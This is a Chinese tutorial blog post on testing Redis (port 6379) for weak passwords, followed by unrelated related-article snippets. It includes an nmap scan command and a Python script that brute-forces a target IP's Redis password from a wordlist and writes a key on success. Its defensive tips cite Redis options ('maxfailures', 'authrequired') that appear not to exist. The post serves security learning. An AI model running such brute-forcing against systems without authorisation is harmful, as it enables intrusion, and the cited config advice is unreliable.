Python 渗透测试:Redis 数据库 弱密码测试.(6379端口)

什么是 Redis 数据库

Redis (Remote Dictionary Server) 是一个开源的、内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。它支持多种类型的数据结构,如字符串(strings)、哈希(hashes)、列表(lists)、集合(sets)、有序集合(sorted sets)等,并且能够对这些数据结构进行高级操作。Redis 数据库爆破是指利用暴力破解的方式尝试获取 Redis 数据库的访问权限。


目录:

什么是 Redis 数据库

Python 编写渗透测试基础:

Redis 数据库弱密码测试的原理主要包括以下几个方面:

环境的搭建:

(1)在 Redis 数据库的目录下,找到  redis.windows.conf 这个文件.

(2)查找登录的密码.

(3)打开 Redis 数据库.

(4)测试连接看.

Redis 数据库 弱密码测试:

(1)端口扫描查看是否 存在 6379 端口的开放.

(2)Redis 数据库 弱密码测试:

防范 Redis 数据库遭受弱密码的攻击,可以从以下几个方面着手:


Python 编写渗透测试基础:

(1)漏洞发现和利用走的是什么协议.(2)编写难度是根据协议和探针利用复现复杂程度决定的.例如:mysql类型的漏洞复现漏洞 大部分都是在mysql里面进行python写这个漏洞利用 是不是也要用到mysql的库来进行连接 后续操作 复现一致

Redis 数据库弱密码测试的原理主要包括以下几个方面:

(1)未授权访问某些 Redis 实例在部署时未设置密码访问控制,导致任何人都可以通过默认端口访问和操作数据库。攻击者可以直接连接到这些 Redis 实例并执行各种操作。(2)弱密码如果 Redis 密码设置得过于简单,攻击者可以使用字典攻击或暴力破解的方式来猜测密码。这种方式需要大量的计算资源和时间,但仍然可能成功。(3)已知漏洞利用如果 Redis 存在已知的安全漏洞,攻击者可以利用这些漏洞直接获取 Redis 的访问权限,而不需要密码。这类漏洞通常会被安全研究人员发现并公开,需要及时修复。(4)密码泄露如果 Redis 密码被泄露,攻击者就可以直接使用这些密码登录 Redis 实例。密码泄露可能是由于系统管理员失误、内部人员泄露或者其他原因导致的。(5)暴力破解攻击者可以使用自动化工具,生成各种可能的密码组合,逐个尝试登录 Redis 实例。这种方式需要大量的计算资源和时间,但如果密码足够简单,仍然可能成功。

环境的搭建:

(1)在 Redis 数据库的目录下,找到  redis.windows.conf 这个文件.

(2)查找登录的密码.

requirepass


(3)打开 Redis 数据库.

redis-server.exe redis.windows.conf


(4)测试连接看.

redis-cli.exe            # 在目录下执行这个


Redis 数据库 弱密码测试:

(1)端口扫描查看是否 存在 6379 端口的开放.

nmap 172.16.10.12 -p  6379


(2)Redis 数据库 弱密码测试:

redis服务默认端口:6379redis:远程登录不需要账号,只要密码            !!!!!(所以在编写的时候不用编写账号.)(.py文件不能库的文件一样)
#导入 redis 和 os 模块,分别用于连接 Redis 服务器和获取操作系统相关信息
import redis,os         # 定义一个名为 redis_check 的函数,接受两个参数:ip 和 password(因为他不用账号,所以不需要传账号.)
def redis_check(ip,password):# 打印当前正在检查的 IP 和密码组合print('check->' + ip + '|' + password)try:                                         # 做容错(就是如果正确则进行下面的)# 尝试使用给定的 IP 和密码连接 Redis 服务器redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)# 如果连接成功,设置一个名为 test 的键,值为 'bgxg'redis_conn.set('test', 'bgxg111')print('登录成功')# 退出exit()except Exception as e:              # 如果连接失败print("登录失败")# 这是 Python 的标准写法,确保只有在脚本作为主程序运行时,下面的代码才会执行。
if __name__ == '__main__':# 获取当前工作目录pypath = os.getcwd() ip = input('请输入你要爆破的 Redis 数据库的 IP 地址:')# 注意修改字典所在目录for password in open(pypath + '//dic_password_redis.txt'):# 对于每一行,它会去掉行末的换行符 "\n",并将其替换为空格 ""(里面不要加空格)password = password.replace('\n', '')  # 传递了二个参数,上面对接.redis_check(ip, password)               


防范 Redis 数据库遭受弱密码的攻击,可以从以下几个方面着手:

(1)设置强密码确保 Redis 实例设置了复杂度较高的密码,不要使用简单的单词或数字组合。建议密码长度在 12 个字符以上,包含大小写字母、数字和特殊字符。(2)开启访问控制启用 Redis 的访问控制功能,只允许指定的 IP 地址或网段访问 Redis 实例。可以使用 Redis 的 bind 和 protected-mode 配置项来实现。(3)限制登录尝试次数配置 Redis 的 maxfailures 和 authrequired 选项,限制客户端登录尝试的次数,超过限制后会暂时禁止该客户端的连接。这可以有效防御暴力破解攻击。(4)开启日志记录启用 Redis 的日志记录功能,记录所有客户端的访问情况。可以通过分析日志发现异常登录行为,并及时采取措施。(5)及时修复漏洞密切关注 Redis 的安全公告,及时修复已知的安全漏洞。这可以避免攻击者利用漏洞直接获取 Redis 实例的访问权限。(6)网络隔离将 Redis 实例部署在内网环境,并通过负载均衡或反向代理的方式对外提供服务。这可以隔离 Redis 实例与外部网络的直接访问。(7)数据备份定期备份 Redis 数据库的内容,以便在发生安全事故时能够快速恢复数据。(8)监控预警设置监控系统,实时监控 Redis 实例的运行状态和访问情况,及时发现异常并预警。

   

   

    

学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/840645.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

View function mapping is overwriting an existing endpoint function: home_page

这个错误是因为在你的 Flask 应用中,你定义了两个或多个视图函数,它们使用了相同的 endpoint 名称。Flask 不允许多个视图函数使用相同的 endpoint 名称,因为这会导致冲突。 通常,这个错误会出现在以下几种情况下: 你在不同的路由装饰器中使用了相同的 endpoint 名称。你…

Xilinx(AMD) FPGA通过ICAP原语读取芯片IDCODE实现方法

1 概述 Xilinx每种型号的FPGA芯片都有一个唯一的IDCODE与之对应,同一型号不同封装的IDCODE是相同的。IDCODE的获取方法包括JTAG、ICAP原语、AXI_HWICAP IP核等。获取IDCODE常用于根据芯片型号改变代码的功能,或者对代码进行授权保护,只能在指…

Java使用apache.poi生成excel插入word中

加油,新时代打工人! 工作需求,上个文章我们生成好的word,这次将生成好的excel表格数据,插入word中。需要准备好excle数据,然后插入到word中。 最后个需要,就是把这些生成好的word文档转成pdf进行…

EyeMock下载与使用教程

视频眼神修复直视镜头的AI具有极高的灵活性和适应性。它可以根据不同的拍摄环境和主播需求进行个性化设置,确保最佳的视觉呈现效果。在直播互动中,主播可能因为分神或疲劳而失去与观众的直视,这款工具能够迅速识别并修复这一问题,…

机器学习(七) ----------聚类(K-means)

目录 1 核心思想 2 K-means算法 2.1 算法概述 2.2 算法步骤 2.3 数学原理 2.4 ‘肘’方法确定K值 2.4.1 原理 2.4.2 步骤 2.4.3 代码实现 2.5 聚类评估方法 2.5.1 SC轮廓系数(Silhouette Coefficient) 计算方法 解读 注意事项 2.5.2 Cal…

刷代码随想录有感(77):回溯算法——含有重复元素的全排列

题干&#xff1a; 代码&#xff1a; class Solution { public:vector<int> tmp;vector<vector<int>> res;void backtracking(vector<int> nums, vector<int> used){if(tmp.size() nums.size()){res.push_back(tmp);return;}sort(nums.begin(),…

对安卓手机上损坏的 SD 卡进行故障排除:恢复提示和修复

概括 如果您总是在旅途中&#xff0c;那么您很可能每天都在使用 SD 卡。这些微小但功能强大的闪存已经变得和手机的内部存储一样有用。它们可以存储数据并移动您想要的任何数据类型&#xff0c;因为它们在 Android 设备上添加了额外的存储空间。不幸的是&#xff0c;他们可能会…

四天学会JS高阶(学好vue的关键)——深入面向对象(理论+实战)(第三天)

***本章面试使用居多* 理论篇**一、编程思想 1.1 面向过程 JS 前端居多 按照步骤 性能高 适合跟硬件关系很紧密 没有面向对象易维护易复用易扩展 1.2 面向对象 java典型 按照功能&#xff0c;把事务分别成一个个对象&#xff0c;对象之间分工合作 比较灵活 适合多人合作的…

python绘制多级饼图(分层饼图)

python绘制多级饼图&#xff08;分层饼图&#xff09; 介绍效果代码 介绍 多级饼图展示了数据的层次结构&#xff0c;其中每个级别表示数据的一个层次。我们可以使用matplotlib绘制多级饼图。 效果 代码 import matplotlib.pyplot as plt# 示例数据 outer_labels [Category…

css卡片横线100%宽度

所需样式: 横线不用border, 用单独一个div, 这样就不会影响父组件的padding <div class"pumpDetailView"><div class"pump_title_name"><span>{{ pumpInfo.pointname }}</span><divclass"point_state":style"…

html 字体设置 (web端字体设置)

windows自带的字体是有版权的&#xff0c;包括微软雅黑&#xff08;方正&#xff09;、宋体&#xff08;中易&#xff09;、黑体&#xff08;中易&#xff09;等 版权算是个大坑&#xff0c;所谓为了避免版权问题&#xff0c;全部使用开源字体即可 我这里选择的是思源宋体&…

nodejs 与 npm 版本对应关系

官方地址&#xff1a;https://nodejs.org/en/about/previous-releases

C++容器之无序多集(std::unordered_multiset)

目录 1 概述2 使用实例3 接口使用3.1 construct3.2 assigns3.3 iterators3.4 capacity3.5 find3.6 count3.7 equal_range3.8 emplace3.9 emplace_hint3.10 insert3.11 erase3.12 clear3.13 swap3.14 bucket_count3.15 max_bucket_count3.16 bucket_size3.17 bucket3.18 load_fa…

全栈式数据统计:SqlAlchemy怎样连接MsSql Server获取视图列表

1.源代码 #-----------获取数据库视图列表----------------------------- # -------密码含特殊字符使用 from urllib.parse import quote_plus as urlquotefrom sqlalchemy import create_engine, MetaData, inspect# 替换为你的数据库连接字符串 DRIVER "ODBC Driver 1…

【新】snapd申请Let‘s Encrypt免费SSL证书、自动化续签证书

简介 之前写过一篇certbot申请SSL证书的文章&#xff1a;SSL证书申请&#xff0c;写得比较详细&#xff0c;但是最近发现使用snapd会更方便。 使用机器&#xff1a;Ubuntu 20.04 简单步骤 1、首先安装必要软件 sudo apt install snapd sudo apt install certbot sudo apt …

可视化在医疗健康领域的巨大价值,该如何设计呢。

可视化设计在医疗健康领域具有以下价值&#xff1a; 数据展示与分析&#xff1a;可视化设计可以将医疗健康领域的大量数据以图表、图形等形式进行展示和分析&#xff0c;帮助医生、研究人员和决策者更直观地理解和解读数据&#xff0c;发现规律和趋势&#xff0c;从而做出科学决…

C++高效死锁检测——实现原理与应用(基于强连通分量)

背景 在项目使用多进程、多线程过程中&#xff0c;因争夺资源而造成一种资源竞态&#xff0c;所以需加锁处理。如下图所示&#xff0c;线程 A 想获取线程 B 的锁&#xff0c;线程 B 想获取线程 C 的锁&#xff0c;线程 C 想获取线程 D 的锁&#xff0c; 线程 D 想获取线程 A 的…

回溯大法总结

前言 本篇博客将分两步来进行&#xff0c;首先谈谈我对回溯法的理解&#xff0c;然后通过若干道题来进行讲解&#xff0c;最后总结 对回溯法的理解 回溯法可以看做蛮力法的升级版&#xff0c;它在解决问题时的每一步都尝试所有可能的选项&#xff0c;最终找出所以可行的方案…

【Git】版本控制工具——Git介绍及使用

目录 版本控制版本控制系统的主要目标分类小结 分布式版本控制系统——GitGit特点Git与SVN的区别Git的工作机制 Git安装Git 团队协作机制团队内协作跨团队协作远程仓库远程仓库的作用有以下几个方面远程仓库操作流程/团队协作流程 Git分支什么是分支分支的好处 Git的常用命令Gi…

【热门话题】CentOS 常见命令指南

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 CentOS 常见命令指南一、文件与目录操作1. 切换目录2. 查看当前目录3. 列出目录…